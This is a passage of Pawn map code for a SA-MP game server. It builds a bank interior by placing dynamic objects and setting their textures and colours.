        AG_Bank3[85] = CreateDynamicObject(19448, 1391.81396, 1320.61072, 1501.79858,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);//
        AG_Bank3[97] = CreateDynamicObject(19448, 1394.84595, 1315.87280, 1504.16675,   -34.50000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank3[52], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[53], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[54], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[55], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[56], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[57], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[58], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[97], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[78], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[79], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[80], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[81], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[82], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[83], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[84], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[85], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);

        AG_Bank3[59] = CreateDynamicObject(2920, 1412.61023, 1324.49341, 1500.19775,   90.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[60] = CreateDynamicObject(2920, 1412.61255, 1307.20703, 1500.19775,   90.00000, 0.00000, 180.00000, 27, 63, -1, 200.00);
        AG_Bank3[61] = CreateDynamicObject(2920, 1412.61023, 1324.31738, 1503.42859,   90.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[62] = CreateDynamicObject(2920, 1412.61255, 1310.18604, 1503.42859,   90.00000, 0.00000, 180.00000, 27, 63, -1, 200.00);
        AG_Bank3[63] = CreateDynamicObject(2920, 1412.60815, 1323.75586, 1496.23474,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[64] = CreateDynamicObject(2920, 1412.60925, 1317.56165, 1496.23474,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[65] = CreateDynamicObject(2920, 1412.60803, 1314.16638, 1496.23474,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[66] = CreateDynamicObject(2920, 1412.60815, 1310.75793, 1496.23474,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[67] = CreateDynamicObject(2920, 1412.60974, 1320.70361, 1496.23474,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[68] = CreateDynamicObject(2920, 1412.60730, 1315.83655, 1509.61548,   0.00000, 180.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[69] = CreateDynamicObject(1897, 1412.71875, 1316.54517, 1502.60596,   0.00000, 90.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[70] = CreateDynamicObject(1897, 1412.71936, 1315.15161, 1502.58203,   0.00000, -90.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[71] = CreateDynamicObject(1897, 1412.71936, 1315.15161, 1502.70142,   0.00000, -90.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[72] = CreateDynamicObject(1897, 1412.71875, 1316.54517, 1502.72583,   0.00000, 90.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[73] = CreateDynamicObject(2920, 1412.60803, 1313.94995, 1496.23474,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[74] = CreateDynamicObject(2920, 1412.60925, 1317.80005, 1496.23474,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[86] = CreateDynamicObject(2920, 1412.61023, 1324.31738, 1503.6766,   90.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[87] = CreateDynamicObject(2920, 1412.61023, 1324.31738, 1503.9246,   90.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[88] = CreateDynamicObject(2920, 1412.61255, 1310.18604, 1503.6766,   90.00000, 0.00000, 180.00000, 27, 63, -1, 200.00);
        AG_Bank3[89] = CreateDynamicObject(2920, 1412.61255, 1310.18604, 1503.9246,   90.00000, 0.00000, 180.00000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank3[59], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[60], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[61], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[62], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[63], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[64], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[65], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[66], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[67], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[68], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[69], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[70], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[71], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[72], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[73], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[74], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[86], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[87], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[88], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[89], 0, 1223, "dynsigns", "white64", 0xFFFFFFFF);

        CreateDynamicObject(4649, 1437.77979, 1282.13147, 1498.38147,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(4650, 1499.84375, 1339.13135, 1497.04419,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(4651, 1489.83142, 1396.67981, 1496.91479,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(4585, 1469.79443, 1309.09814, 1586.63599,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(4568, 1499.17395, 1386.75208, 1496.50269,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(4690, 1490.08435, 1374.56055, 1506.36865,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(700, 1455.23425, 1354.28186, 1499.46777,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(4681, 1604.73755, 1346.70850, 1506.94385,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(4571, 1535.18909, 1378.84387, 1544.81921,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(4584, 1499.29883, 1277.14868, 1494.11914,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(4569, 1490.61377, 1260.33313, 1515.10461,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(4703, 1444.05493, 1426.24866, 1497.17859,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(4666, 1427.62219, 1470.71790, 1516.70435,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(4665, 1427.62219, 1470.71790, 1516.70435,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(4664, 1530.43140, 1498.77100, 1515.34094,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(4595, 1517.97668, 1490.37646, 1497.11572,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(1294, 1440.57166, 1309.86755, 1501.40869,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(1283, 1446.12048, 1337.79199, 1499.97302,   0.00000, 0.00000, -90.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(1283, 1435.69678, 1346.69800, 1499.97302,   0.00000, 0.00000, 180.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(729, 1480.63184, 1438.66370, 1496.86194,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(729, 1457.53821, 1422.30310, 1496.86194,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(729, 1520.04944, 1447.82092, 1496.86194,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(762, 1508.08984, 1447.84460, 1502.16406,   0.00000, 0.00000, 71.27999);
        CreateDynamicObject(4718, 1538.13550, 1591.90503, 1517.18408,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(4585, 1390.00232, 1372.76270, 1550.00000,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(4585, 1347.87378, 1336.75903, 1550.00000,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(4585, 1345.14465, 1307.01538, 1550.00000,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(4585, 1388.88855, 1277.29407, 1550.00000,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        CreateDynamicObject(4585, 1384.67175, 1336.22705, 1524.32104,   0.00000, 90.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[147] = CreateDynamicObject(4600, 1392.54540, 1309.93079, 1508.62451,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank3[147], 1,  -1, "none", "none", 0x00FFFFFF);

        AG_Bank3[99] = CreateDynamicObject(19379, 1403.84119, 1308.13196, 1503.62134,   0.00000, 90.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[100] = CreateDynamicObject(19379, 1407.38867, 1308.13257, 1503.61926,   0.00000, 90.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[101] = CreateDynamicObject(19379, 1402.98401, 1324.68579, 1503.62134,   0.00000, 90.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[102] = CreateDynamicObject(19379, 1407.38867, 1324.68384, 1503.61926,   0.00000, 90.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[93] = CreateDynamicObject(19380, 1398.63257, 1315.99915, 1508.82312,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[94] = CreateDynamicObject(19379, 1393.46899, 1313.85913, 1503.62329,   0.00000, 90.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[95] = CreateDynamicObject(19379, 1393.46887, 1320.57825, 1503.62366,   0.00000, 90.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[96] = CreateDynamicObject(19379, 1393.50305, 1329.78992, 1503.62170,   0.00000, 90.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[98] = CreateDynamicObject(19448, 1394.84595, 1315.87280, 1504.16675,   -34.50000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[130] = CreateDynamicObject(19377, 1386.65002, 1314.90857, 1500.00903,   0.00000, 90.00000, 0.00000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank3[99], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank3[100], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank3[101], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank3[102], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank3[93], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[94], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank3[95], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank3[96], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank3[98], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[130], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);

        AG_Bank3[103] = CreateDynamicObject(2678, 1405.78564, 1316.41687, 1501.05896,   0.00000, 0.00000, -90.00000, 27, 63, -1, 200.00);
        AG_Bank3[104] = CreateDynamicObject(2678, 1405.82605, 1315.69226, 1501.05896,   0.00000, 0.00000, 180.00000, 27, 63, -1, 200.00);
        AG_Bank3[105] = CreateDynamicObject(2678, 1405.06006, 1316.38354, 1501.05896,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[106] = CreateDynamicObject(2678, 1405.09998, 1315.65894, 1501.05896,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[107] = CreateDynamicObject(2678, 1405.78564, 1316.41687, 1503.50061,   0.00000, 0.00000, -90.00000, 27, 63, -1, 200.00);
        AG_Bank3[90] = CreateDynamicObject(2678, 1405.06006, 1316.38354, 1503.50061,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[91] = CreateDynamicObject(2678, 1405.09998, 1315.65894, 1503.50061,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[92] = CreateDynamicObject(2678, 1405.82605, 1315.69226, 1503.50061,   0.00000, 0.00000, 180.00000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank3[103], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[104], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[105], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[106], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[107], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[90], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[91], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[92], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[103], 2,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[104], 2,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[105], 2,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[106], 2,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[107], 2,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[90], 2,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[91], 2,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[92], 2,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[103], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[104], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[105], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[106], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[107], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[90], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[91], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[92], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[103], 3,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[104], 3,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[105], 3,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[106], 3,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[107], 3,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[90], 3,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[91], 3,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);
        SetDynamicObjectMaterial( AG_Bank3[92], 3,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);

        AG_Bank3[108] = CreateDynamicObject(19380, 1407.38867, 1315.89441, 1504.02197,   0.00000, 90.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[109] = CreateDynamicObject(19380, 1403.80127, 1316.00769, 1504.02002,   0.00000, 90.00000, 0.00000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank3[108], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        SetDynamicObjectMaterial( AG_Bank3[109], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFFFFFFF);
        AG_Bank3[154] = CreateDynamicObject(19448, 1395.68018, 1314.03955, 1502.72510,   -34.50000, 90.00000, 90.00000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank3[154], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF4F4F4);


        AG_Bank3[110] = CreateDynamicObject(2229, 1405.19800, 1316.35486, 1503.14160,   -60.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[111] = CreateDynamicObject(2229, 1405.15405, 1316.35291, 1503.64587,   -90.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[112] = CreateDynamicObject(2229, 1403.80005, 1316.35486, 1503.64795,   -90.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[113] = CreateDynamicObject(2229, 1402.40002, 1316.35486, 1503.64587,   -90.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[114] = CreateDynamicObject(2229, 1401.00000, 1316.35486, 1503.64795,   -90.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[115] = CreateDynamicObject(2229, 1399.94995, 1316.35291, 1503.64587,   -90.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[116] = CreateDynamicObject(2229, 1405.66931, 1315.75842, 1503.14160,   -60.00000, 0.00000, -90.00000, 27, 63, -1, 200.00);
        AG_Bank3[117] = CreateDynamicObject(2229, 1407.18372, 1316.37256, 1503.64587,   -90.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[118] = CreateDynamicObject(2229, 1408.55005, 1316.37061, 1503.64795,   -90.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[119] = CreateDynamicObject(2229, 1409.90002, 1316.37256, 1503.64587,   -90.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[120] = CreateDynamicObject(2229, 1411.30005, 1316.37061, 1503.64795,   -90.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[121] = CreateDynamicObject(2229, 1412.69995, 1316.37256, 1503.64587,   -90.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[122] = CreateDynamicObject(2229, 1405.74805, 1316.31458, 1503.14160,   -60.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[123] = CreateDynamicObject(2229, 1405.74927, 1316.39087, 1503.64795,   -90.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[124] = CreateDynamicObject(2229, 1405.74731, 1317.75000, 1503.64587,   -90.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[125] = CreateDynamicObject(2229, 1405.74927, 1319.00000, 1503.64795,   -90.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[126] = CreateDynamicObject(2229, 1405.13440, 1315.78467, 1503.14160,   -60.00000, 0.00000, 180.00000, 27, 63, -1, 200.00);
        AG_Bank3[127] = CreateDynamicObject(2229, 1405.74854, 1314.36304, 1503.64795,   -90.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[128] = CreateDynamicObject(2229, 1405.74890, 1313.04346, 1503.64587,   -90.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[129] = CreateDynamicObject(2229, 1405.75085, 1312.00000, 1503.64990,   -90.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[289] =CreateDynamicObject(19381, 1407.78735, 1320.18164, 1508.83557,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[290] =CreateDynamicObject(19381, 1403.50000, 1320.17957, 1508.83557,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[291] =CreateDynamicObject(19381, 1407.78735, 1312.68164, 1508.83557,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[292] =CreateDynamicObject(19381, 1402.28735, 1312.67957, 1508.83557,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank3[110], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank3[111], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank3[112], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank3[113], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank3[114], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank3[115], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank3[116], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank3[117], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank3[118], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank3[119], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank3[120], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank3[121], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank3[122], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank3[123], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank3[124], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank3[125], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank3[126], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank3[127], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank3[128], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank3[129], 1,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank3[289], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank3[290], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank3[291], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);
        SetDynamicObjectMaterial( AG_Bank3[292], 0,  16150, "ufo_bar", "GEwhite1_64", 0xFFF0F0F0);

        AG_Bank3[131] = CreateDynamicObject(19325, 1397.83984, 1321.96497, 1502.02559,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[132] = CreateDynamicObject(19325, 1394.29175, 1315.86646, 1502.02559,   0.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank3[131], 0,  -1, "none", "none", 0xFF9FF5FF);
        SetDynamicObjectMaterial( AG_Bank3[132], 0,  -1, "none", "none", 0xFF9FF5FF);

        AG_Bank3[139] = CreateDynamicObject(19089, 1397.84375, 1318.63489, 1504.28833,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[140] = CreateDynamicObject(19089, 1397.84375, 1323.85596, 1504.28833,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[141] = CreateDynamicObject(19089, 1397.59705, 1315.86560, 1504.28833,   0.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[142] = CreateDynamicObject(19089, 1397.84351, 1318.63013, 1503.52209,   90.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[143] = CreateDynamicObject(19089, 1397.84351, 1318.63013, 1500.09875,   90.00000, 0.00000, 0.00000, 27, 63, -1, 200.00);
        AG_Bank3[144] = CreateDynamicObject(19089, 1397.60461, 1315.86804, 1500.09875,   90.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[145] = CreateDynamicObject(19089, 1397.60461, 1315.86804, 1503.52686,   90.00000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        AG_Bank3[146] = CreateDynamicObject(19089, 1397.93835, 1315.87024, 1504.15405,   55.50000, 0.00000, 90.00000, 27, 63, -1, 200.00);
        SetDynamicObjectMaterial( AG_Bank3[139], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank3[140], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank3[141], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
        SetDynamicObjectMaterial( AG_Bank3[142], 0, 10226, "sfeship1", "CJ_WOOD5", 0);
